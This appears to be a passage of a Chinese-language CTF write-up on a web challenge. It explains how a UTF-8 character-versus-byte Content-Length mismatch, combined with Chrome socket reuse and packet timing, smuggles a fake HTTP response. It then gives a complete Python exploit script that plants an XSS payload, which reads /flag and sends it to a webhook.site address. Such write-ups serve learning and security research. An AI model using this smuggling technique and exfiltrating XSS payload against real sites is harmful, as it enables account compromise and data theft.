例如字串 "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 5\r\n\r\n5" 的長度為 64,在前面接上 64 個 À 之後的 UTF-8 總長度為 128,但是 bytes 數量為 192。因為 server 給的 Content-Length 將會是 UTF-8 的長度 128,也就代表第一個 response body 正好是 64 個 À 字元結束,而後面的資料就會是 HTTP/1.1 200 OK... 了。

不過這實際上沒那麼簡單,第一個難點是怎麼確保讓 Chrome 重複使用同個 socket,第二個點是 Chrome 如果在下一個 request 發送前就收到多餘資料的話就會把該 socket 斷掉。

第一個點可以利用 Chrome 對一個 domain 最多同時只會開 6 個連線的性質,結合 send_file 裡面的 time.sleep(0.1)。把 iframe0 裡面放入前面的 payload,然後 iframe1~iframe5 裡面放入大量的資料讓連線卡住,之後 iframe6 的內容隨便放就能成功了。因為 iframe1~iframe5 卡住的時候,iframe0 結束了,自然就要載入 iframe6,所以 Chrome 就會自動重複使用剛剛載入 iframe0 的連線,然後就會收到假的 HTTP response 了。

第二個點是利用 iter_chunks 會把資料分成 1448 bytes 的 chunks 的性質。1448 bytes 是 tcp packet 的大小上限,如果讓 ÀÀÀÀÀ.... 對齊 packet 大小,然後它會等 0.1 秒才會再發送 HTTP/1.1 200 OK... 的資料,這 0.1 秒就足以讓 Chrome 結束載入 iframe0 然後發出 iframe6 的 request 了。

下面是完整的 exploit 腳本,會自動創建需要的 board 並 submit 給 bot 做檢查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import json
import requests

html = "<script>fetch('/flag').then(r=>r.text()).then(r=>location='https://webhook.site/8fba2a85-8c62-4733-b03c-b34501d96c8f?flag='+encodeURIComponent(r))</script>"
payload = f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {len(html)}\r\n\r\n{html}"
wrapped = "À" * 724 * 8 + payload + "x" * (724 * 8 - len(payload))
assert len(wrapped) == 724 * 8 * 2
assert wrapped.encode()[len(wrapped) :].decode().startswith(payload)

garbage = "x" * 20480

resp = requests.get("http://35.224.135.84:3100/create_board", allow_redirects=False)
id = resp.headers["location"].split("/")[-1]


def add_note(id, body):
requests.post(
"http://35.224.135.84:3100/board/add_note", json={"id": id, "body": body}
)


add_note(id, wrapped)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, garbage)
add_note(id, "pekomiko")
print(f"http://35.224.135.84:3100/board/{id}")

from pwn import remote

r = remote("35.224.135.84", 3101)
r.send(f"GET /{id}/note0\n\n")
r.recvuntil(b"\r\n\r\n")
print("sancheck", r.recvall(timeout=2).decode() == wrapped)

try:
requests.get(f"http://35.224.135.84:3100/board/{id}/report", timeout=10)
except:
pass

print("done")

裡面我把 Àpayload pad 到 724 的倍數是為了讓它對齊,而 * 8 的部份我測試過,就算不用也可以對它的 XSS Bot 有效果,然而我在本機測試的時候如果不用 * 8 就會失敗(iframe6 開了新的連線),不知道是什麼緣故。

註: 在 Chrome devtools 裡面的 Network tab 的 Name | Status | Type ... 的那個地方點右鍵可以選擇 Connection ID,就可以顯示出每個連線究竟是哪個 socket 了。Waterfall 的欄位如果有橘色出現就代表它開了新的 socket,沒有就代表重用了原本 socket。

補充: PlaidCTF 2021 的官方 Carmen Sandiego Solution